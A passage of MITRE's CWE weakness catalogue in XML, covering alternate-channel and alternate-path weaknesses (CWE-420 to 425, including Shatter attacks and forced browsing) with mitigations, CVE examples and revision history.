					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>418</Relationship_Target_ID>
					          <!--Channel Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be primary to authentication errors, and resultant from unhandled
						error conditions.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Deploy different layers of protection to implement security in
							depth.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify all alternate channels and use the same protection mechanisms
							as you do for the primary channels.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0567</Observed_Example_Reference>
					          <Observed_Example_Description>DB server assumes that local clients have
						performed authentication, allowing attacker to directly connect to a process
						to load libraries and execute commands; a socket interface also exists
						(another alternate channel), so attack can be
						remote.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1578</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not restrict access to underlying
						database, so attacker can bypass restrictions by directly querying the
						database.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1035</Observed_Example_Reference>
					          <Observed_Example_Description>User can avoid lockouts by using an API instead of
						the GUI to conduct brute force password
						guessing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1863</Observed_Example_Reference>
					          <Observed_Example_Description>FTP service can not be disabled even when other
						access controls would require it.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0066</Observed_Example_Reference>
					          <Observed_Example_Description>Windows named pipe created without
						authentication/access control, allowing configuration
						modification.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1461</Observed_Example_Reference>
					          <Observed_Example_Description>Router management interface spawns a separate TCP
						connection after authentication, allowing hijacking by attacker coming from
						the same IP address.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unprotected Alternate Channel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="421" Name="Race Condition During Access to Alternate Channel" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product opens an alternate channel to communicate with an
					authorized user, but the channel is accessible to other
					actors.</Description_Summary>
				        <Extended_Description>
					          <Text>This creates a race condition that allows an attacker to access the
						channel before the authorized user does.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>420</Relationship_Target_ID>
					          <!--Unprotected Alternate Channel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Predictability can be a factor in some issues.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0351</Observed_Example_Reference>
					          <Observed_Example_Description>FTP "Pizza Thief" vulnerability. Attacker can
						connect to a port that was intended for use by another
						client.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0230</Observed_Example_Reference>
					          <Observed_Example_Description>Product creates Windows named pipe during
						authentication that another attacker can hijack by connecting to
						it.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Author>Blake Watts</Reference_Author>
					          <Reference_Title>Discovering and Exploiting Named Pipe Security Flaws for Fun
						and Profit</Reference_Title>
					          <Reference_PubDate>April 2002</Reference_PubDate>
					          <Reference_Link>http://www.blakewatts.com/namedpipepaper.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Alternate Channel Race Condition</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example, Other_Notes,
						Taxonomy_Mappings, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Alternate Channel Race
						Condition</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="422" Name="Unprotected Windows Messaging Channel ('Shatter')" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly verify the source of a message
					in the Windows Messaging System while running at elevated privileges, creating
					an alternate channel through which an attacker can directly send a message to
					the product.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>420</Relationship_Target_ID>
					          <!--Unprotected Alternate Channel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>360</Relationship_Target_ID>
					          <!--Trust of System Event Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps privilege errors and UI errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always verify and authenticate the source of the message.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0971</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass GUI and access restricted dialog
						box.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1230</Observed_Example_Reference>
					          <Observed_Example_Description>Gain privileges via Windows
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0350</Observed_Example_Reference>
					          <Observed_Example_Description>A control allows a change to a pointer for a
						callback function using Windows message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0908</Observed_Example_Reference>
					          <Observed_Example_Description>Product launches Help functionality while running
						with raised privileges, allowing command execution using Windows message to
						access "open file" dialog.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0213</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker uses Shatter attack to bypass
						GUI-enforced protection for CVE-2003-0908.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0207</Observed_Example_Reference>
					          <Observed_Example_Description>User can call certain API functions to modify
						certain properties of privileged programs.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Possibly under-reported, probably under-studied. It is suspected that a
						number of publicized vulnerabilities that involve local privilege escalation
						on Windows systems may be related to Shatter attacks, but they are not
						labeled as such.</Text>
					          <Text>Alternate channel attacks likely exist in other operating systems and
						messaging models, e.g. in privileged X Windows applications, but examples
						are not readily available.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Paget</Reference_Author>
					          <Reference_Title>Exploiting design flaws in the Win32 API for privilege
						escalation. Or... Shatter Attacks - How to break Windows</Reference_Title>
					          <Reference_PubDate>August, 2002</Reference_PubDate>
					          <Reference_Link>http://web.archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Design Review." Page 34.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 12, "Shatter Attacks", Page 694.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unprotected Windows Messaging Channel
						('Shatter')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Relationship_Notes,
						Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="423" Name="DEPRECATED (Duplicate): Proxied Trusted Channel" Weakness_Abstraction="Base" Status="Deprecated">
			      <Description>
				        <Description_Summary>This entry has been deprecated because it was a duplicate of
					CWE-441. All content has been transferred to CWE-441.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-05</Modification_Date>
					          <Modification_Comment>deprecated this entry as a duplicate of
						441</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Name,
						Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings,
						Time_of_Introduction, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-11-24">Proxied Trusted
						Channel</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="424" Name="Improper Protection of Alternate Path" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not sufficiently protect all possible paths
					that a user can take to access restricted functionality or
					resources.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>417</Relationship_Target_ID>
					          <!--Channel and Path Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>638</Relationship_Target_ID>
					          <!--Not Using Complete Mediation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Deploy different layers of protection to implement security in
							depth.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Alternate Path Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Alternate Path
						Errors</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Protect Alternate
						Path</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="425" Name="Direct Request ('Forced Browsing')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The web application does not adequately enforce appropriate
					authorization on all restricted URLs, scripts, or files.</Description_Summary>
				        <Extended_Description>
					          <Text>Web applications susceptible to direct request attacks often make the
						false assumption that such resources can only be reached through a given
						navigation path and so only apply authorization at certain points in the
						path.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>862</Relationship_Target_ID>
					          <!--Missing Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>288</Relationship_Target_ID>
					          <!--Authentication Bypass Using an Alternate Path or Channel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>424</Relationship_Target_ID>
					          <!--Improper Protection of Alternate Path-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
